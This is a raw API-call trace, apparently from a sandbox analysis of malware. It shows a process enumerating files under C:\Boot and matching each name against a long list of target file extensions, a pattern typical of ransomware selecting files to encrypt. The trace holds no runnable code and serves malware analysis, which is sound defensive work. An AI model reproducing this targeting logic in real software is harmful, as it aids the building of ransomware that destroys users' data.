	[0166.122] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".dot") returned 4
	[0166.122] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dotm") returned 5
	[0166.122] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".dotx") returned 5
	[0166.122] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1
	[0166.122] lstrlenW (lpString=".dpx") returned 4
	[0166.122] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dqy") returned 4
	[0166.122] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dsn") returned 4
	[0166.122] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dt") returned 3
	[0166.122] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1
	[0166.122] lstrlenW (lpString=".dtd") returned 4
	[0166.122] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dwg") returned 4
	[0166.122] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1
	[0166.122] lstrlenW (lpString=".dwt") returned 4
	[0166.122] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".dx") returned 3
	[0166.123] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1
	[0166.123] lstrlenW (lpString=".dxf") returned 4
	[0166.123] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".edml") returned 5
	[0166.123] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1
	[0166.123] lstrlenW (lpString=".efd") returned 4
	[0166.123] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".elf") returned 4
	[0166.123] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".emf") returned 4
	[0166.123] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".emz") returned 4
	[0166.123] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".epf") returned 4
	[0166.123] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".eps") returned 4
	[0166.123] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".epsf") returned 5
	[0166.123] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1
	[0166.123] lstrlenW (lpString=".epsp") returned 5
	[0166.123] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1
	[0166.123] lstrlenW (lpString=".erf") returned 4
	[0166.123] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".exr") returned 4
	[0166.123] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".f4v") returned 4
	[0166.123] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1
	[0166.123] lstrlenW (lpString=".fido") returned 5
	[0166.123] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1
	[0166.123] lstrlenW (lpString=".flm") returned 4
	[0166.123] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".flv") returned 4
	[0166.124] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".frm") returned 4
	[0166.124] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".fxg") returned 4
	[0166.124] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".geo") returned 4
	[0166.124] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".gif") returned 4
	[0166.124] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".grs") returned 4
	[0166.124] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".gz") returned 3
	[0166.124] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1
	[0166.124] lstrlenW (lpString=".h") returned 2
	[0166.124] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1
	[0166.124] lstrlenW (lpString=".hdr") returned 4
	[0166.124] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".hpp") returned 4
	[0166.124] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".hta") returned 4
	[0166.124] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".htc") returned 4
	[0166.124] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".htm") returned 4
	[0166.124] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".html") returned 5
	[0166.124] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1
	[0166.124] lstrlenW (lpString=".icb") returned 4
	[0166.124] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".ics") returned 4
	[0166.124] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1
	[0166.124] lstrlenW (lpString=".iff") returned 4
	[0166.125] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".inc") returned 4
	[0166.125] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".indd") returned 5
	[0166.125] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1
	[0166.125] lstrlenW (lpString=".ini") returned 4
	[0166.125] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".iqy") returned 4
	[0166.125] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".j2c") returned 4
	[0166.125] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".j2k") returned 4
	[0166.125] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".java") returned 5
	[0166.125] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1
	[0166.125] lstrlenW (lpString=".jp2") returned 4
	[0166.125] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpc") returned 4
	[0166.125] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpe") returned 4
	[0166.125] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpeg") returned 5
	[0166.125] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpf") returned 4
	[0166.125] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpg") returned 4
	[0166.125] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".jpx") returned 4
	[0166.125] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".js") returned 3
	[0166.125] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1
	[0166.125] lstrlenW (lpString=".jsf") returned 4
	[0166.125] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1
	[0166.125] lstrlenW (lpString=".json") returned 5
	[0166.126] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1
	[0166.126] lstrlenW (lpString=".jsp") returned 4
	[0166.126] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".kdc") returned 4
	[0166.126] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".kmz") returned 4
	[0166.126] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".kwm") returned 4
	[0166.126] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".lasso") returned 6
	[0166.126] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1
	[0166.126] lstrlenW (lpString=".lbi") returned 4
	[0166.126] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".lgf") returned 4
	[0166.126] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".lgp") returned 4
	[0166.126] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1
	[0166.126] lstrlenW (lpString=".log") returned 4
	[0166.126] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0
	[0166.126] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0166.126] lstrlenW (lpString="BCD.LOG1") returned 8
	[0166.126] lstrlenW (lpString=".1cd") returned 4
	[0166.126] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0166.126] lstrlenW (lpString=".3ds") returned 4
	[0166.126] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1
	[0166.126] lstrlenW (lpString=".3fr") returned 4
	[0166.126] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1
	[0166.126] lstrlenW (lpString=".3g2") returned 4
	[0166.126] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1
	[0166.126] lstrlenW (lpString=".3gp") returned 4
	[0166.126] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1
	[0166.126] lstrlenW (lpString=".7z") returned 3
	[0166.127] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0166.127] lstrlenW (lpString=".accda") returned 6
	[0166.127] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".accdb") returned 6
	[0166.127] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".accdc") returned 6
	[0166.127] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".accde") returned 6
	[0166.127] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".accdt") returned 6
	[0166.127] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".accdw") returned 6
	[0166.127] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1
	[0166.127] lstrlenW (lpString=".adb") returned 4
	[0166.127] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".adp") returned 4
	[0166.127] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai") returned 3
	[0166.127] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1
	[0166.127] lstrlenW (lpString=".ai3") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai4") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai4", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai5") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai5", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai6") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai6", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai7") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai7", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".ai8") returned 4
	[0166.127] lstrcmpiW (lpString1=".ai8", lpString2="LOG1") returned -1
	[0166.127] lstrlenW (lpString=".anim") returned 5
	[0166.127] lstrcmpiW (lpString1=".anim", lpString2=".LOG1") returned -1
	[0166.128] lstrlenW (lpString=".arw") returned 4
	[0166.128] lstrcmpiW (lpString1=".arw", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".as") returned 3
	[0166.128] lstrcmpiW (lpString1=".as", lpString2="OG1") returned -1
	[0166.128] lstrlenW (lpString=".asa") returned 4
	[0166.128] lstrcmpiW (lpString1=".asa", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asc") returned 4
	[0166.128] lstrcmpiW (lpString1=".asc", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".ascx") returned 5
	[0166.128] lstrcmpiW (lpString1=".ascx", lpString2=".LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asm") returned 4
	[0166.128] lstrcmpiW (lpString1=".asm", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asmx") returned 5
	[0166.128] lstrcmpiW (lpString1=".asmx", lpString2=".LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asp") returned 4
	[0166.128] lstrcmpiW (lpString1=".asp", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".aspx") returned 5
	[0166.128] lstrcmpiW (lpString1=".aspx", lpString2=".LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asr") returned 4
	[0166.128] lstrcmpiW (lpString1=".asr", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".asx") returned 4
	[0166.128] lstrcmpiW (lpString1=".asx", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".avi") returned 4
	[0166.128] lstrcmpiW (lpString1=".avi", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".avs") returned 4
	[0166.128] lstrcmpiW (lpString1=".avs", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".backup") returned 7
	[0166.128] lstrcmpiW (lpString1=".backup", lpString2="CD.LOG1") returned -1
	[0166.128] lstrlenW (lpString=".bak") returned 4
	[0166.128] lstrcmpiW (lpString1=".bak", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".bay") returned 4
	[0166.128] lstrcmpiW (lpString1=".bay", lpString2="LOG1") returned -1
	[0166.128] lstrlenW (lpString=".bd") returned 3
	[0166.128] lstrcmpiW (lpString1=".bd", lpString2="OG1") returned -1
	[0166.129] lstrlenW (lpString=".bin") returned 4
	[0166.129] lstrcmpiW (lpString1=".bin", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".bmp") returned 4
	[0166.129] lstrcmpiW (lpString1=".bmp", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".bz2") returned 4
	[0166.129] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".c") returned 2
	[0166.129] lstrcmpiW (lpString1=".c", lpString2="G1") returned -1
	[0166.129] lstrlenW (lpString=".cdr") returned 4
	[0166.129] lstrcmpiW (lpString1=".cdr", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cer") returned 4
	[0166.129] lstrcmpiW (lpString1=".cer", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cf") returned 3
	[0166.129] lstrcmpiW (lpString1=".cf", lpString2="OG1") returned -1
	[0166.129] lstrlenW (lpString=".cfc") returned 4
	[0166.129] lstrcmpiW (lpString1=".cfc", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cfm") returned 4
	[0166.129] lstrcmpiW (lpString1=".cfm", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cfml") returned 5
	[0166.129] lstrcmpiW (lpString1=".cfml", lpString2=".LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cfu") returned 4
	[0166.129] lstrcmpiW (lpString1=".cfu", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".chm") returned 4
	[0166.129] lstrcmpiW (lpString1=".chm", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".cin") returned 4
	[0166.129] lstrcmpiW (lpString1=".cin", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".class") returned 6
	[0166.129] lstrcmpiW (lpString1=".class", lpString2="D.LOG1") returned -1
	[0166.129] lstrlenW (lpString=".clx") returned 4
	[0166.129] lstrcmpiW (lpString1=".clx", lpString2="LOG1") returned -1
	[0166.129] lstrlenW (lpString=".config") returned 7
	[0166.129] lstrcmpiW (lpString1=".config", lpString2="CD.LOG1") returned -1
	[0166.130] lstrlenW (lpString=".cpp") returned 4
	[0166.130] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".cr2") returned 4
	[0166.130] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".crt") returned 4
	[0166.130] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".crw") returned 4
	[0166.130] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".cs") returned 3
	[0166.130] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0166.130] lstrlenW (lpString=".css") returned 4
	[0166.130] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".csv") returned 4
	[0166.130] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".cub") returned 4
	[0166.130] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dae") returned 4
	[0166.130] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dat") returned 4
	[0166.130] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".db") returned 3
	[0166.130] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0166.130] lstrlenW (lpString=".dbf") returned 4
	[0166.130] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dbx") returned 4
	[0166.130] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dc3") returned 4
	[0166.130] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dcm") returned 4
	[0166.130] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".dcr") returned 4
	[0166.130] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0166.130] lstrlenW (lpString=".der") returned 4
	[0166.131] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dib") returned 4
	[0166.131] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dic") returned 4
	[0166.131] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dif") returned 4
	[0166.131] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".divx") returned 5
	[0166.131] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".djvu") returned 5
	[0166.131] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dng") returned 4
	[0166.131] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".doc") returned 4
	[0166.131] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".docm") returned 5
	[0166.131] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".docx") returned 5
	[0166.131] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dot") returned 4
	[0166.131] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dotm") returned 5
	[0166.131] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dotx") returned 5
	[0166.131] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dpx") returned 4
	[0166.131] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dqy") returned 4
	[0166.131] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dsn") returned 4
	[0166.131] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0166.131] lstrlenW (lpString=".dt") returned 3
	[0166.131] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0166.131] lstrlenW (lpString=".dtd") returned 4
	[0166.132] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".dwg") returned 4
	[0166.132] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".dwt") returned 4
	[0166.132] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".dx") returned 3
	[0166.132] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0166.132] lstrlenW (lpString=".dxf") returned 4
	[0166.132] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".edml") returned 5
	[0166.132] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0166.132] lstrlenW (lpString=".efd") returned 4
	[0166.132] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".elf") returned 4
	[0166.132] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0166.132] lstrlenW (lpString=".emf") returned 4
	[0166.132] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0166.132] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0166.132] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0166.132] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.133] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe18
	[0166.133] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.134] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.134] FindNextFileW (in: hFindFile=0x6abe18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.134] FindClose (in: hFindFile=0x6abe18 | out: hFindFile=0x6abe18) returned 1
	[0166.134] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.134] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0166.134] lstrlenW (lpString="bootspaces.dll") returned 14
	[0166.134] lstrlenW (lpString=".1cd") returned 4
	[0166.134] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.134] lstrlenW (lpString=".3ds") returned 4
	[0166.134] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0166.134] lstrlenW (lpString=".3fr") returned 4
	[0166.134] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0166.134] lstrlenW (lpString=".3g2") returned 4
	[0166.134] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0166.134] lstrlenW (lpString=".3gp") returned 4
	[0166.134] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0166.134] lstrlenW (lpString=".7z") returned 3
	[0166.135] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.135] lstrlenW (lpString=".accda") returned 6
	[0166.135] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".accdb") returned 6
	[0166.135] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".accdc") returned 6
	[0166.135] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".accde") returned 6
	[0166.135] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".accdt") returned 6
	[0166.135] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".accdw") returned 6
	[0166.135] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0166.135] lstrlenW (lpString=".adb") returned 4
	[0166.135] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
